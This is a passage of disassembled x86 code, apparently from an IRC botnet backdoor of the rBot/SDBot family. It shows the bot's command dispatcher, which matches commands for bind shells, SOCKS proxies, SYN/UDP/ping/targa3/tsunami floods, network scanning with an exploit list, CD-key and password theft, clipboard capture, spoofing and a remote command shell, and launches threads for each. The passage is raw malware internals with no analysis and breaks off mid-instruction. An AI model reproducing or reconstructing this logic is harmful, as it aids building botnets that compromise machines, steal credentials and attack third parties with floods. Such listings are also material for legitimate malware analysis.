asc_42CA2C ; " " push eax call sub_41C0F4 add esp, 20h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+arg_10], 1Fh loc_40294A: ; CODE XREF: sub_401ACD+E92j push offset asc_42CA2C ; " " push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+arg_10] pop ecx jnz short loc_40294A mov ecx, [ebp+esi+var_90] lea eax, [ebp+esi+var_90] cmp ecx, ebx jz loc_401E94 add ecx, 3 mov [eax], ecx loc_40297C: ; CODE XREF: sub_401ACD+CB8j mov edi, [ebp+esi+var_90] push edi push offset aRndnick ; "rndnick" mov [ebp+arg_8], edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aRn ; "rn" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_409802 push edi push offset aDie ; "die" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aD ; "d" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4049FC push edi push offset aLogout ; "logout" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aLo ; "lo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404954 push edi push offset aVersion ; "version" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aVer ; "ver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404945 push edi push offset aDedication ; "dedication" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aDed ; "ded" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40493B push edi push offset aSpeedtest ; "speedtest" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSt ; "st" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404922 push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aSec ; "sec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsecure ; "unsecure" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aUnsec ; "unsec" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404824 push edi push offset aBindshell ; "bindshell" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBd ; "bd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40471E push edi push offset aBindshellstop ; "bindshellstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B40 push [ebp+esi+var_8C] push 6 push offset aServer_0 ; "Server" push offset dword_42C66C loc_402B24: ; CODE XREF: sub_401ACD+10C1j ; sub_401ACD+10E7j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B384 add esp, 20h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402B40: ; CODE XREF: sub_401ACD+1042j push edi push offset aSocks4 ; "socks4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aS4 ; "s4" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045FC push edi push offset aSocks4stop ; "socks4stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402B90 push [ebp+esi+var_8C] push 19h push offset aServer_0 ; "Server" push offset dword_42C644 jmp short loc_402B24 ; --------------------------------------------------------------------------- loc_402B90: ; CODE XREF: sub_401ACD+10ACj push edi push offset aRloginstop ; "rloginstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BB9 push [ebp+esi+var_8C] push 9 push offset aServer_0 ; "Server" push offset dword_42C628 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BB9: ; CODE XREF: sub_401ACD+10D2j push edi push offset aHttpstop ; "httpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402BE2 push [ebp+esi+var_8C] push 3 push offset aServer_0 ; "Server" push offset dword_42C60C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402BE2: ; CODE XREF: sub_401ACD+10FBj push edi push offset aLogstop ; "logstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C0B push [ebp+esi+var_8C] push 25h push offset dword_42C5F8 push offset dword_42C5EC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C0B: ; CODE XREF: sub_401ACD+1124j push edi push offset aRedirectstop ; "redirectstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C34 push [ebp+esi+var_8C] push 18h push offset dword_42C5CC push offset dword_42C5BC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C34: ; CODE XREF: sub_401ACD+114Dj push edi push offset dword_42C5B0 call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C5D push [ebp+esi+var_8C] push 0Dh push offset dword_42C5A4 push offset dword_42C598 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C5D: ; CODE XREF: sub_401ACD+1176j push edi push offset aSynstop ; "synstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402C86 push [ebp+esi+var_8C] push 0Eh push offset dword_42C584 push offset dword_42C578 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402C86: ; CODE XREF: sub_401ACD+119Fj push edi push offset aSkysynstop ; "skysynstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CAF push [ebp+esi+var_8C] push 10h push offset dword_42C55C push offset dword_42C54C jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CAF: ; CODE XREF: sub_401ACD+11C8j push edi push offset aTarga3stop ; "targa3stop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402CD8 push [ebp+esi+var_8C] push 11h push offset dword_42C530 push offset dword_42C520 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402CD8: ; CODE XREF: sub_401ACD+11F1j push edi push offset aWonkstop ; "wonkstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402D01 push [ebp+esi+var_8C] push 12h push offset dword_42C508 push offset dword_42C4FC jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402D01: ; CODE XREF: sub_401ACD+121Aj push edi push offset aPacketstop ; "packetstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402E57 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset dword_42C5A4 push offset dword_42C598 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 0Eh push offset dword_42C584 push offset dword_42C578 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 17h push offset dword_42C4E4 push offset dword_42C4D8 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 16h push offset dword_42C4CC push offset dword_42C4C0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 11h push offset dword_42C530 push offset dword_42C520 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 12h push offset dword_42C508 push offset dword_42C4FC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push esi push 13h push offset dword_42C490 push offset dword_42C480 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 add esp, 40h push esi push 10h push offset dword_42C55C push offset dword_42C54C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B384 push ebx push [ebp+var_4] push offset unk_42C44C push [ebp+var_88] push edi call sub_409A72 add esp, 34h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402E57: ; CODE XREF: sub_401ACD+1243j push edi push offset aTsunamistop ; "tsunamistop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402E80 push [ebp+esi+var_8C] push 0Fh push offset dword_42C4B0 push offset dword_42C4A0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402E80: ; CODE XREF: sub_401ACD+1399j push edi push offset aWisdomstop ; "wisdomstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EA9 push [ebp+esi+var_8C] push 13h push offset dword_42C490 push offset dword_42C480 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EA9: ; CODE XREF: sub_401ACD+13C2j push edi push offset aUdpstop ; "udpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402ED2 push [ebp+esi+var_8C] push 17h push offset dword_42C4E4 push offset dword_42C4D8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402ED2: ; CODE XREF: sub_401ACD+13EBj push edi push offset aPingstop ; "pingstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402EFB push [ebp+esi+var_8C] push 16h push offset dword_42C4CC push offset dword_42C4C0 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402EFB: ; CODE XREF: sub_401ACD+1414j push edi push offset aTftpstop ; "tftpstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402F24 push [ebp+esi+var_8C] push 5 push offset aServer_0 ; "Server" push offset dword_42C404 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402F24: ; CODE XREF: sub_401ACD+143Dj push edi push offset aFindfilestop ; "findfilestop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aFfstop ; "ffstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045E4 push edi push offset aProcsstop ; "procsstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aPsstop ; "psstop" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045CC push edi push offset aClonestop ; "clonestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FA1 push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_42C3B4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FA1: ; CODE XREF: sub_401ACD+14BAj push edi push offset aSecurestop ; "securestop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FCA push [ebp+esi+var_8C] push 22h push offset aSecure_0 ; "Secure" push offset dword_42C390 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FCA: ; CODE XREF: sub_401ACD+14E3j push edi push offset aScanstop ; "scanstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_402FF3 push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_42C370 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_402FF3: ; CODE XREF: sub_401ACD+150Cj push edi push offset aScanstats ; "scanstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aStats ; "stats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045B6 push edi push offset aTransferstats ; "transferstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aTrstats ; "trstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4045A0 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aCbstats ; "cbstats" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40458A push edi push offset aExploitlist ; "exploitlist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aExplist ; "explist" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404574 push edi push offset aReconnect ; "reconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aR ; "r" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404555 push edi push offset aDisconnect ; "disconnect" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aDc ; "dc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404533 push edi push offset aQuit_0 ; "quit" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aQ ; "q" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044EB push edi push offset aStatus ; "status" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aS_0 ; "s" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044D7 push edi push offset aId ; "id" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aI ; "i" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4044A0 push edi push offset aReboot ; "reboot" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4031BF call sub_418337 test eax, eax mov eax, offset unk_42C2AC jnz short loc_403191 mov eax, offset unk_42C284 loc_403191: ; CODE XREF: sub_401ACD+16BDj push eax lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 1Ch jmp loc_4083BC ; --------------------------------------------------------------------------- loc_4031BF: ; CODE XREF: sub_401ACD+16AFj push edi push offset aThreads ; "threads" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aT ; "t" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4043C1 push edi push offset aAliases ; "aliases" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aAl ; "al" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40439E push edi push offset aLog ; "log" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aLg ; "lg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4042AB push edi push offset aClearlog ; "clearlog" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aClg ; "clg" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404292 push edi push offset aNetinfo ; "netinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aNi ; "ni" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_404258 push edi push offset aSysinfo ; "sysinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aSi ; "si" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40422D push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aLsp100 ; "lsp100" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4041F3 push edi push offset aProcs ; "procs" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aPs ; "ps" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040D0 push edi push offset aGetcdkeys ; "getcdkeys" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aKey ; "key" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4040B2 push edi push offset aUptime ; "uptime" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aUp ; "up" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40402A push edi push offset aDriveinfo ; "driveinfo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aDrv ; "drv" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40400D push edi push offset aTestdlls ; "testdlls" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aDll ; "dll" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FF4 push edi push offset aOpencmd ; "opencmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aOcmd ; "ocmd" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403FB5 push edi push offset aCmdstop ; "cmdstop" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40340A push [ebp+esi+var_8C] push 0Ah push offset dword_42C1C4 push offset dword_42C1B8 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_40340A: ; CODE XREF: sub_401ACD+1923j push edi push offset dword_42C1B4 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_403527 cmp [ebp+var_8], ebx jnz short loc_40343E push ebx push [ebp+var_4] push offset dword_42C1A0 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40343E: ; CODE XREF: sub_401ACD+1955j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_40344C ; --------------------------------------------------------------------------- loc_403449: ; CODE XREF: sub_401ACD+19CBj mov eax, [ebp+arg_18] loc_40344C: ; CODE XREF: sub_401ACD+197Aj cmp [eax], bl jz short loc_403453 inc eax jmp short loc_403458 ; --------------------------------------------------------------------------- loc_403453: ; CODE XREF: sub_401ACD+1981j mov eax, offset aEmpty ; "<Empty>" loc_403458: ; CODE XREF: sub_401ACD+1984j push eax lea eax, [ebp+var_2C4] push [ebp+arg_20] push offset aD_S ; "%d. %s" push eax call sub_41B886 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_403449 push offset unk_42C16C call sub_4151AC pop ecx loc_4034A5: ; CODE XREF: sub_401ACD+1C5Aj ; sub_401ACD+2F43j mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_401E94 push edi push offset aSpoof ; "spoof" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404AF4 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404A22 lea eax, [ebp+var_2C4] push offset unk_42C138 push eax mov dword_4CE728, ebx call sub_41B886 pop ecx pop ecx loc_4034FD: ; CODE XREF: sub_401ACD+3022j cmp [ebp+var_8], ebx jnz loc_409854 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_40351F: ; CODE XREF: sub_401ACD+7118j add esp, 14h jmp loc_409854 ; --------------------------------------------------------------------------- loc_403527: ; CODE XREF: sub_401ACD+194Cj push edi push offset aGetclip ; "getclip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aGc ; "gc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F74 push edi push offset aFlusharp ; "flusharp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFarp ; "farp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F5D push edi push offset aFlushdns ; "flushdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aFdns ; "fdns" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403F25 push edi push offset aCurrentip ; "currentip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aCip ; "cip" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403EEB push edi push offset aRloginserver ; "rloginserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aRlogin ; "rlogin" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403DB0 push edi push offset aHttpserver ; "httpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aHttp ; "http" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403C24 push edi push offset aTftpserver ; "tftpserver" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aTftp ; "tftp" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_403AEA push edi push offset aCrash ; "crash" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4036B3 lea eax, [ebp+var_2C4] push offset dword_42C090 push eax call sub_41B886 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_403692 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403692: ; CODE XREF: sub_401ACD+1BA7j lea eax, [ebp+var_2C4] push eax call sub_4151AC mov [esp+10h+var_10], offset aCrash ; "crash" push [ebp+esi+var_7C] call sub_41C070 jmp loc_40207C ; --------------------------------------------------------------------------- loc_4036B3: ; CODE XREF: sub_401ACD+1B8Fj push edi push offset aAsc ; "asc" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aSa ; "sa" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4037E6 push edi push offset aPhonehome ; "phonehome" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_403707 lea eax, [ebp+var_C4] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409A2C jmp loc_401F52 ; --------------------------------------------------------------------------- loc_403707: ; CODE XREF: sub_401ACD+1C1Fj push edi push offset aFindpass ; "findpass" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40372D push edi push offset aFp ; "fp" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4034A5 loc_40372D: ; CODE XREF: sub_401ACD+1C49j push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax push offset unk_42C020 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 26h push eax call sub_40B0F6 add esp, 18h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_416F1A push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4037D5 loc_4037BF: ; CODE XREF: sub_401ACD+1D06j cmp [ebp+var_EC8], ebx jnz loc_4083BC push 32h nop call near ptr 26903FCh jmp short loc_4037BF ; --------------------------------------------------------------------------- loc_4037D5: ; CODE XREF: sub_401ACD+1CF0j nop call near ptr 2690DCCh push eax push offset unk_42BFE4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4037E6: ; CODE XREF: sub_401ACD+1BF5j ; sub_401ACD+1C0Aj mov al, byte_4315EA mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_4315EA jz loc_401E94 mov ecx, edx loc_4037FD: ; CODE XREF: sub_401ACD+1D38j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_4037FD cmp al, bl jz loc_401E94 mov [ebp+arg_18], edx mov esi, offset aF ; "#f" loc_403817: ; CODE XREF: sub_401ACD+2008j push 0Bh call sub_40B33E pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_403866 push ecx lea eax, [ebp+var_2C4] push offset unk_42BFA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_403ACC ; --------------------------------------------------------------------------- loc_403866: ; CODE XREF: sub_401ACD+1D64j or [ebp+var_730], 0FFFFFFFFh cmp dword_431408, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_4038D7 mov edi, offset dword_431408 loc_40389B: ; CODE XREF: sub_401ACD+1DECj mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4038BD inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_40389B jmp short loc_4038D7 ; --------------------------------------------------------------------------- loc_4038BD: ; CODE XREF: sub_401ACD+1DE2j mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, dword_431408[ecx] mov [ebp+var_74C], ecx loc_4038D7: ; CODE XREF: sub_401ACD+1DC7j ; sub_401ACD+1DEEj cmp [ebp+var_74C], ebx jz loc_403AE0 push 10h lea eax, [ebp+var_2D4] pop edi push eax lea eax, [ebp+var_30C] push eax mov [ebp+var_2D4], edi push [ebp+arg_4] call dword_4CAF18 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_308], eax push [ebp+var_308] call dword_4CB000 push eax lea eax, [ebp+var_860] push eax call sub_41B5F0 xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_860] push eax call sub_41BE40 add esp, 14h cmp edi, ebx mov byte ptr [ebp+arg_24+3], bl jle short loc_40397F loc_40395D: ; CODE XREF: sub_401ACD+1EB0j cmp eax, ebx jz short loc_40397F mov byte ptr [eax], 78h lea eax, [ebp+var_860] push 30h push eax call sub_41BE40 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_40395D loc_40397F: ; CODE XREF: sub_401ACD+1E8Ej ; sub_401ACD+1E92j mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_750], eax mov eax, [ebp+var_4] mov [ebp+var_728], eax mov eax, [ebp+var_8] mov [ebp+var_724], eax mov edi, 80h lea eax, [ebp+var_850] push edi push eax mov [ebp+var_720], 1 call sub_41B980 push offset dword_43D128 push esi call sub_41C070 add esp, 14h test eax, eax jz short loc_4039E1 push esi lea eax, [ebp+var_7D0] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_4039E7 ; --------------------------------------------------------------------------- loc_4039E1: ; CODE XREF: sub_401ACD+1EFFj mov [ebp+var_7D0], bl loc_4039E7: ; CODE XREF: sub_401ACD+1F12j cmp [ebp+var_720], ebx mov eax, offset aRandom ; "Random" jnz short loc_4039F9 mov eax, offset aSequential ; "Sequential" loc_4039F9: ; CODE XREF: sub_401ACD+1F25j push [ebp+var_734] lea ecx, [ebp+var_860] push [ebp+var_744] push [ebp+var_748] push [ebp+var_74C] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BF24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B0F6 add esp, 2Ch mov [ebp+var_740], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_860] push ebx push eax push offset loc_40C33C push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_740] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403A83 loc_403A71: ; CODE XREF: sub_401ACD+1FB4j cmp [ebp+var_71C], ebx jnz short loc_403A9E push 32h call near ptr 26903FCh nop jmp short loc_403A71 ; --------------------------------------------------------------------------- loc_403A83: ; CODE XREF: sub_401ACD+1FA2j nop call near ptr 2690DCCh push eax lea eax, [ebp+var_2C4] push offset unk_42BEE8 push eax call sub_41B886 add esp, 0Ch loc_403A9E: ; CODE XREF: sub_401ACD+1FAAj cmp [ebp+var_8], ebx jnz short loc_403ABF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403ABF: ; CODE XREF: sub_401ACD+1FD4j lea eax, [ebp+var_2C4] push eax call sub_4151AC pop ecx loc_403ACC: ; CODE XREF: sub_401ACD+1D94j add [ebp+arg_18], 0Bh mov eax, [ebp+arg_18] cmp [eax], bl jnz loc_403817 jmp loc_401E94 ; --------------------------------------------------------------------------- loc_403AE0: ; CODE XREF: sub_401ACD+1E10j push offset unk_42BEB0 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403AEA: ; CODE XREF: sub_401ACD+1B65j ; sub_401ACD+1B7Aj push 5 call sub_40B33E test eax, eax pop ecx jle short loc_403B00 push offset unk_42BE90 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_403B00: ; CODE XREF: sub_401ACD+2027j mov eax, [ebp+esi+var_8C] cmp eax, ebx jz short loc_403B23 push eax mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax call sub_41B980 add esp, 0Ch jmp short loc_403B37 ; --------------------------------------------------------------------------- loc_403B23: ; CODE XREF: sub_401ACD+203Cj mov edi, 104h lea eax, [ebp+var_2D50] push edi push eax push ebx call near ptr 2680000h nop loc_403B37: ; CODE XREF: sub_401ACD+2054j mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_403B47 mov esi, offset byte_429108 loc_403B47: ; CODE XREF: sub_401ACD+2073j push esi lea eax, [ebp+var_2C4C] push edi push eax call sub_41B980 mov eax, dword_429078 push 7Fh push [ebp+var_88] mov [ebp+var_2B40], eax mov eax, [ebp+arg_4] mov [ebp+var_2B44], ebx mov [ebp+var_2D54], eax lea eax, [ebp+var_2B3C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_2ABC], eax mov eax, [ebp+var_8] mov [ebp+var_2AB8], eax lea eax, [ebp+var_2D50] push eax lea eax, [ebp+var_2C4] push [ebp+var_2B40] push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 5 push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2B48], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2D54] push ebx push eax push offset word_411796 push ebx push ebx call near ptr 2690448h nop mov ecx, [ebp+var_2B48] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403C13 loc_403BFD: ; CODE XREF: sub_401ACD+2144j cmp [ebp+var_2AB4], ebx jnz loc_40828B push 32h nop call near ptr 26903FCh jmp short loc_403BFD ; --------------------------------------------------------------------------- loc_403C13: ; CODE XREF: sub_401ACD+212Ej call near ptr 2690DCCh nop push eax push offset unk_42BE20 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_403C24: ; CODE XREF: sub_401ACD+1B3Bj ; sub_401ACD+1B50j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403C43 push edi call sub_41B779 test eax, eax pop ecx jz short 